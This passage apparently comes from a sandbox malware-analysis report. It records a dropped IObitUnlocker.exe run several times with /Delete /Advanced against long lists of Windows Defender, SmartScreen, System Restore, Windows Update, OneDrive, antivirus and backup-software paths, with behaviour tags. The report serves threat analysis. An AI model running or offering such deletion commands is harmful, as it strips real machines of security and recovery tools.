icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5816
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:2460
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files 